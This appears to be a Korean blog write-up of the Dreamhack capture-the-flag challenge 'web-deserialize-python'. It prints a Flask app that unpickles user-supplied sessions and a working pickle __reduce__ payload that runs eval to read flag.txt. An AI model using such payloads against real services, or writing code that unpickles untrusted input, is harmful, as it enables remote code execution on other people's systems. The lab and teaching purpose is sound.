[WEB] web-deserialize-python 문제풀이

직렬화(Serialize)는 언어 문맥에서 구조나 상태를 다른 컴퓨터 환경에 저장하고 나중에 다시 사용할 수 있는 포맷으로 변환하는 과정이다. 웹 상에서 직렬화는 객체들의 데이터를 연속적인 데이터로 변형하여 Stream을 통해 데이터를 읽도록 한다. 주로 객체를 파일로 저장하거나 다른 곳으로 전송할 때 사용된다. 반대로 역직렬화(Deserialize)는 직렬화된 데이터를 역으로 직렬화하여 다시 객체의 형태로 복원하는 것을 말한다.

 

역직렬화(Deserialization) 취약점이란 위에서 설명한 직렬화-역직렬화 과정에서 악의적으로 객체 또는 변수를 추가 작성하여 악성코드를 싱행하게끔 만드는 취약점이다.

 

pickle 모듈은 python의 객체구조 직렬화와 역직렬화를 위한 바이너리 프로토콜을 구현하기 위해 사용된다.

- pickling(직렬화) : 파이썬 객체 계층 구조 > 바이트 스트림
- unpickling(역직렬화) : 바이트 스트림 > 파이썬 객체 계층 구조

위에서 설명한 직렬화-역직렬화 과정에서 악의적으로 객체 또는 변수를 추가 작성하여 악성코드를 싱행하게끔 만드는 취약점이다.

 

문제를 확인해보자.

 

 

Session Login 서비스에서 Python(pickle)의 역직렬화 취약점을 이용해 플래그를 획득하는 문제이다.

접속해보자.

 

 

Create Session 페이지로 가보자.

 

 

세션을 만드는 페이지로 보인다. 임의의 세션을 생성해보자.

 

 

Name=test, Userid=test, Password=test 를 입력하여 세션을 생성했다.

웹에서는 문자열 마지막에 =이 붙어있으면 무조건 base64를 의심하게 된다. 확인해보자.

 

 

뭐 큰 의미는 없는 것 같다. 그럼 Check Session 페이지로 가보자.

 

 

아까 생성한 세션을 여기에 넣어보자.

 

 

세션 생성에 사용한 Name, Userid, Password 값이 복원되었다.

세션을 생성하고 복호화하는 과정에서 직렬화-역직렬화가 사용되는 것 같다.

일단 소스를 확인해보자.

 

#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

INFO = ['name', 'userid', 'password']

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
    if request.method == 'GET':
        return render_template('create_session.html')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        return render_template('create_session.html', data=data)

@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
    if request.method == 'GET':
        return render_template('check_session.html')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        info = pickle.loads(base64.b64decode(session))
        return render_template('check_session.html', info=info)

app.run(host='0.0.0.0', port=8000)

 

일단 플래그는 ./flag.txt 위치에 존재하는 것 같다. 해당 파일을 읽어와야한다.

먼저 세션을 생성할 때, base64.b64encode(pickle.dumps(info)).decode('utf8') 구문으로 생성이 된다.

그리고 세션을 복호화할 때는 pickle.loads(base64.b64decode(session)) 구문으로 복호화가 된다.

 

서버가 세션을 복호화할 때 사용하는 pickle 모듈에는 역직렬화 취약점이 존재한다.

취약점은 pickle 모듈이 지원하는 object.__reduce__() 메소드에 존재한다.

 

__reduce__() 메소드는 파이썬 객체 계층 구조를 unpickling 할 때

객체를 재구성하는 것에 대한 tuple을 반환해주는 메소드이다.

 

바이트 스트림을 unpickle 할 때, pickle 모듈은 original object의 인스턴스를 만들고 나서 그 인스턴스를

올바른 데이터로 채운다. 이를 위해서 바이트 스트림에는 original object 인스턴스에 특정된 데이터를 포함한다.

그러나 데이터만을 가지고 있는 것으로 충분하지 않을 수 있기 때문에 pickle 된 바이트 스트림에는 unpicker에 대한

명령 피연산자오 함께 원래 객체 구조를 재구성하는 명령이 포함되어 있어 객체 구조를 채울 수 있다.

 

여기서 unpicker에 대한 명령 피연산자와 원래 객체 구조를 재구성하는 명령을 __reduce__() 를 통해 선언한다.

선언된 __reduce__() 메소드를 통해 object가 unpickle 될 때 어떻게 재구성될지를 확인할 수 있다.

 

__reduce__ 메소드는 리턴 값으로 2개의 인자를 가지고 있다.

1) 호출 가능한 객체(호출할 클래스의 이름)

2) 호출 가능한 객체에 대한 인자. 

   * 호출 가능한 객체가 인자를 받아들이지 않으면 빈 튜플을 제공해야한다.

 

이 때, 호출 가능한 객체에 eval 혹은 os와 같이 명령어를 실행할 수 있는 클래스를 임의로 지정할 수 있으면,

명령어 삽입 취약점이 발생할 수 있다.

 

우리는 unpicke 될 때 시스템 명령어를 삽입하여 ./flag.txt 파일의 내용을 읽어올 것이다.

 

그럼 먼저 pickle 모듈로 기존에 만든 세션을 동일하게 만들어보고 명령어를 어떻게 삽입할 수 있을지 연구해보자.

 

        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        data = base64.b64encode(pickle.dumps(info)).decode('utf8')

 

이 구문에서 사용자가 입력한 Name, Userid, Password 를 이용해 pickle 된다.

info 변수에는 INFO에 정의된대로 'name':'test', 'userid':'test', 'password':'test' 배열이 들어갈 것이다.

해당 배열을 이용하여 직접 세션을 생성해보자.

 

import pickle, base64
info={'name':'test', 'userid':'test', 'password':'test'}
data = base64.b64encode(pickle.dumps(info)).decode('utf8')

 

생성된 세션으로 Check Session 페이지에서 복호화를 해보자.

 

 

최초 생성한 세션 값과 다르긴 하지만 복호화 시에는 파이썬 코드로 직접 생성한 세션도 복호화가 가능했다.

 

그럼 이제 reduce 메소드를 활용해서 ./flag.txt를 읽는 구문을 짜보자.

 

import pickle, base64

class test:
    def __reduce__(self):
        p="open('./flag.txt').read()"
        return (eval,(p,))
 
rs={'name':test()}
 
print(base64.b64encode(pickle.dumps(rs)).decode('utf8'))

 

위 코드는 test 클래스의 reduce 메소드를 통해 p라는 변수에 ./flag.txt 파일을 읽는 시스템 명령어를 저장한다.

reduce 메소드의 리턴 값으로 튜플을 반환하고, 첫번째 인자에는 eval 함수를 두번째 인자에는 시스템 명령어가 저장된 p를 인자로 한다.

 

그리고 세션을 복호화할때 사용되는 서버에서 인식할 수 있도록 info 변수에 저장된 형식과 일치시켜준다.

'name' 값에 test() 를 입력한 후 pickle 한다.

 

서버에서 복호화하면서 eval 함수를 통해 p 변수를 실행시키면 flag 파일을 읽어올 것이다.

해보자.

 

 

그럼 이제 서버에서 세션 복호화를 진행해보자.

 

 

플래그가 나왔다

 

문제풀이 끗

'워게임 > dreamhack' 카테고리의 다른 글

[dreamhack] blind-command 문제풀이  (0) 2021.07.21
[dreamhack] web-ssrf 문제풀이  (0) 2021.07.21
[dreamhack] funjs 문제풀이  (0) 2021.07.06
[dreamhack] file-csp-1 문제풀이  (0) 2021.07.02
[dreamhack] login-1 문제풀이  (0) 2021.07.01
복사했습니다!